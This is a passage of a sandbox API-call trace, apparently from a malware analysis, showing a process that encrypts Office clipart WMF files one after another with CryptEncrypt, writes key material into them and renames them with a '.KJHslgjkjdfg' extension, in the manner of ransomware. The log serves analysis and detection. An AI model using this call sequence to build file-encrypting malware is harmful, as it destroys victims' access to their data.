lpNewFilePointer=0x0) returned 1 [0185.025] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x788, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x788, lpOverlapped=0x0) returned 1 [0185.025] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x790, dwBufLen=0x790 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x790) returned 1 [0185.025] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.026] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x790, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x790, lpOverlapped=0x0) returned 1 [0185.026] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0185.026] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x864, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.026] SetEndOfFile (hFile=0x114) returned 1 [0185.029] GetProcessHeap () returned 0x2a0000 [0185.029] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0185.029] GetProcessHeap () returned 0x2a0000 [0185.029] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0185.029] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00806_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00806_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00806_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00806_.wmf.kjhslgjkjdfg")) returned 1 [0185.030] CloseHandle (hObject=0x114) returned 1 [0185.030] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb8fc300, ftCreationTime.dwHighDateTime=0x1bd4b0c, ftLastAccessTime.dwLowDateTime=0x594d2670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeb8fc300, ftLastWriteTime.dwHighDateTime=0x1bd4b0c, nFileSizeHigh=0x0, nFileSizeLow=0xba4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA00807_.WMF", cAlternateFileName="")) returned 1 [0185.030] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00807_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00807_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0185.031] GetProcessHeap () returned 0x2a0000 [0185.031] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0185.032] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0185.032] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0185.032] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0185.034] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0185.034] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0185.034] GetProcessHeap () returned 0x2a0000 [0185.034] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0185.034] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0185.034] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0185.034] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0185.034] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0185.034] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0185.034] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0185.034] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0185.035] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0185.035] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0185.035] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0185.035] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.035] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xba4, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xba4, lpOverlapped=0x0) returned 1 [0185.035] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xbb0, dwBufLen=0xbb0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xbb0) returned 1 [0185.035] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.035] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xbb0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xbb0, lpOverlapped=0x0) returned 1 [0185.035] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0185.035] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xc84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.035] SetEndOfFile (hFile=0x114) returned 1 [0185.038] GetProcessHeap () returned 0x2a0000 [0185.038] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0185.038] GetProcessHeap () returned 0x2a0000 [0185.038] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0185.038] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00807_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00807_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00807_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00807_.wmf.kjhslgjkjdfg")) returned 1 [0185.040] CloseHandle (hObject=0x114) returned 1 [0185.040] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7bce0800, ftCreationTime.dwHighDateTime=0x1bd4b0d, ftLastAccessTime.dwLowDateTime=0x594d2670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7bce0800, ftLastWriteTime.dwHighDateTime=0x1bd4b0d, nFileSizeHigh=0x0, nFileSizeLow=0x514, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA00808_.WMF", cAlternateFileName="")) returned 1 [0185.040] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00808_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00808_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0185.042] GetProcessHeap () returned 0x2a0000 [0185.042] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0185.042] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0185.042] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0185.042] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0185.044] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0185.044] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0185.044] GetProcessHeap () returned 0x2a0000 [0185.045] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0185.045] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0185.045] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0185.045] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0185.045] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0185.045] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0185.045] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0185.045] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0185.045] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0185.045] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0185.045] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0185.045] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.045] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x514, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x514, lpOverlapped=0x0) returned 1 [0185.045] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x520, dwBufLen=0x520 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x520) returned 1 [0185.046] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.046] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x520, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x520, lpOverlapped=0x0) returned 1 [0185.046] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0185.046] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x5f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.046] SetEndOfFile (hFile=0x114) returned 1 [0185.048] GetProcessHeap () returned 0x2a0000 [0185.049] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0185.049] GetProcessHeap () returned 0x2a0000 [0185.049] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0185.049] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00808_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00808_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00808_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00808_.wmf.kjhslgjkjdfg")) returned 1 [0185.050] CloseHandle (hObject=0x114) returned 1 [0185.050] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe92d6900, ftCreationTime.dwHighDateTime=0x1bd4b0c, ftLastAccessTime.dwLowDateTime=0x6a34aa30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe92d6900, ftLastWriteTime.dwHighDateTime=0x1bd4b0c, nFileSizeHigh=0x0, nFileSizeLow=0x608, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA00809_.WMF", cAlternateFileName="")) returned 1 [0185.050] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00809_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00809_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0185.051] GetProcessHeap () returned 0x2a0000 [0185.051] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0185.051] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0185.051] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0185.052] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0185.054] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0185.054] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0185.054] GetProcessHeap () returned 0x2a0000 [0185.054] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0185.054] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0185.054] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0185.054] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0185.054] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0185.054] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0185.054] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0185.054] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0185.055] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0185.055] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0185.055] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0185.055] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.055] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x608, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x608, lpOverlapped=0x0) returned 1 [0185.055] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x610, dwBufLen=0x610 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x610) returned 1 [0185.055] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.055] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x610, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x610, lpOverlapped=0x0) returned 1 [0185.055] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0185.055] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x6e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.055] SetEndOfFile (hFile=0x114) returned 1 [0185.058] GetProcessHeap () returned 0x2a0000 [0185.058] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0185.058] GetProcessHeap () returned 0x2a0000 [0185.058] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0185.058] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00809_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00809_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00809_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00809_.wmf.kjhslgjkjdfg")) returned 1 [0185.060] CloseHandle (hObject=0x114) returned 1 [0185.060] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a34aa30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd58, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA00810_.WMF", cAlternateFileName="")) returned 1 [0185.060] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00810_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00810_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0185.062] GetProcessHeap () returned 0x2a0000 [0185.062] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0185.062] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0185.062] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0185.062] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0185.064] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0185.064] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0185.064] GetProcessHeap () returned 0x2a0000 [0185.064] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0185.064] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0185.064] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0185.064] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0185.065] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0185.065] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0185.065] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0185.065] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0185.065] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0185.065] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0185.065] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0185.065] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.065] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xd58, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xd58, lpOverlapped=0x0) returned 1 [0185.065] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xd60, dwBufLen=0xd60 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xd60) returned 1 [0185.065] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.065] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xd60, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xd60, lpOverlapped=0x0) returned 1 [0185.065] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0185.066] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xe34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.066] SetEndOfFile (hFile=0x114) returned 1 [0185.068] GetProcessHeap () returned 0x2a0000 [0185.068] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0185.068] GetProcessHeap () returned 0x2a0000 [0185.068] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) 